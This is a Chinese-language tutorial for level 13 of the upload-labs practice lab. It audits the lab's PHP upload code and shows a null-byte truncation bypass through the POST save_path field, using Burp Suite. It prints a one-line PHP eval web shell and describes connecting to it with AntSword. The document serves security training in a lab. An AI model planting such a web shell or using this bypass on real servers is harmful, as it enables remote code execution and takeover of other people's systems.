upload-labs第十三关教程
- 第十三关
- 一、源代码分析
- 代码审计
- 二、绕过分析
- 1）0x00绕过
- a.上传eval.png
- b.使用burpsuite进行拦截
- 修改之前：
- 修改之后：
- 进入hex模块：
- c.放包
- 上传成功：
- d.使用中国蚁剑进行连接
- 2）%00绕过
- 上传eval.png，使用Burp suite进行拦截包，添加如下：
- 修改之后：
- 放包：
- 使用中国蚁剑进行连接
第十三关
一、源代码分析
代码审计
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件！";
}
}
与上一关不同的是这里的路径是post请求，也就是%00截断不会通过url自动解码了，得我们手动解码。
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
二、绕过分析
1）0x00绕过
a.上传eval.png
<?php @eval($_POST['cmd']); ?>
这个是一个php代码，然后保存为png文件就行了。
b.使用burpsuite进行拦截
修改之前：
修改之后：
将可控参数那块加入eval.php空格—>选择hex模块—>找到eval.php的位置—>修改空格的十六进制为00
进入hex模块：
c.放包
上传成功：
需要注意的是：eval.php背后的一大串会被截断
d.使用中国蚁剑进行连接
连接成功。
2）%00绕过
这里就算让我们自己手动解码，快捷键ctrl+shift+u
上传eval.png，使用Burp suite进行拦截包，添加如下：
修改之前和上面的一样
修改之后：
对…/upload/eval.php%00进行手动解码，快捷键ctrl+shift+u
放包：
注意点和上面一样。
使用中国蚁剑进行连接
